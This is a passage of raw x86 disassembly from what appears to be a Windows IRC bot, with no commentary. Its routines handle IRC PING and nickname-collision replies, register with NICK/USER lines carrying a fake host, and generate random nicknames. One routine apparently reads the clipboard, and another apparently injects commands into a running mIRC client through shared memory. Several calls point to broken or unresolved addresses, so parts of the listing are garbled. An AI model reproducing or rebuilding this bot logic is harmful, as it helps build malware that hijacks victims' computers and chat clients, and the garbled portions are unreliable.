		jmp	loc_4178B5
; ---------------------------------------------------------------------------


loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387E4
		jmp	short loc_417885
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387E0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3


loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387D4


loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4


loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax


loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4044[esi]
		mov	dword_4D4038[esi], edi
		push	dword_4D4244[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D403C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D403C[esi]
		call	dword_4CAFF4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D403C[esi]
		call	dword_4CAFBC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996


loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------


loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D403C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------


loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4038[esi], ebx
		mov	esi, dword_4D403C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB03C


loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8


loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4038


loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA758
		jl	short loc_417A78


loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4044[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4244[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4038[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71


loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437F20[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------


loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437C20[edx*4]


loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3


loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D


loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437F20[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC


loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------


loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC


loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h


loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------


loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax


loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7


loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2


loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0


loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1


loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]


loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4


loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx


loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi


loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx


loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A


loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx


loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA


loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2670E77h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp+var_100]


loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194


loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194


loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA75C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF74
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF94
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		call	near ptr 27D06E3h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27D0000h
		call	dword_4CAFF8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAFB0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 27E03FAh
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27E0292h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB000
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB000
		push	ebx
		nop
		call	near ptr 27E0000h
		push	edi
		nop
		call	near ptr 265098Ch
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax


loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
